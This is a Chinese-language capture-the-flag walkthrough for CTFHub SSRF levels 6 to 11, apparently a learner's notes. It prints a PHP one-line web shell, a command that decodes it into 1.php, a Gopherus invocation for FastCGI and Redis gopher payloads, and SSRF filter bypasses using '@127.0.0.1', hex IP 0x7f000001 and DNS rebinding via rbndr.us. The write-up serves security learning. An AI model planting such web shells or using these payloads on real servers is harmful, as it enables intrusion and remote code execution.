ctfhub-web-SSRF（FastCGI协议-DNS重绑定 Bypass）

less-6  FastCGI协议

步骤一：开启环境，查看提示

步骤二：对一句话木马进行base64编码：<?php @eval($_POST[cmd]);?>

echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > 1.php

步骤三：利用kali，使用Gopherus工具生成payload:

python2 '/home/kali/Desktop/Gopherus/gopherus.py' --exploit fastcgi

/var/www/html/index.php

echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > 1.php

步骤四：对所生成进行url编码

步骤五：添加到?url=

访问木马程序

步骤六：利用中国菜刀进行连接

找寻flag

显示提交成功

less-7  Redis协议

步骤一：开启环境，查看提示

步骤三：利用kali，使用Gopherus工具生成payload:

利用url进行编码

添加?url=

访问shell.php

利用中国菜刀进行连接

找到flag

显示提交成功

less-8  URL Bypass

步骤一：开启环境，查看提示

访问url=http://127.0.0.1/flag.php

url=http://notfound.ctfhub.com@127.0.0.1/flag.php

显示提交成功

less-9  数字IP Bypass

步骤一：开启环境，查看提示

访问url=http://127.0.0.1/flag.php

进行进制转换，.换成0

输入：url=http://0x7f000001/flag.php

显示提交成功

less-10  302跳转 Bypass

步骤一：开启环境，查看提示

访问url=http://127.0.0.1/flag.php

url=localhost/flag.php

显示提交成功

less-11  DNS重绑定 Bypass

步骤一：开启环境，查看提示

打开题目附件

rbndr.us dns rebinding service (cmpxchg8b.com)

url=http://7f000001.7f000002.rbndr.us/flag.php

显示提交成功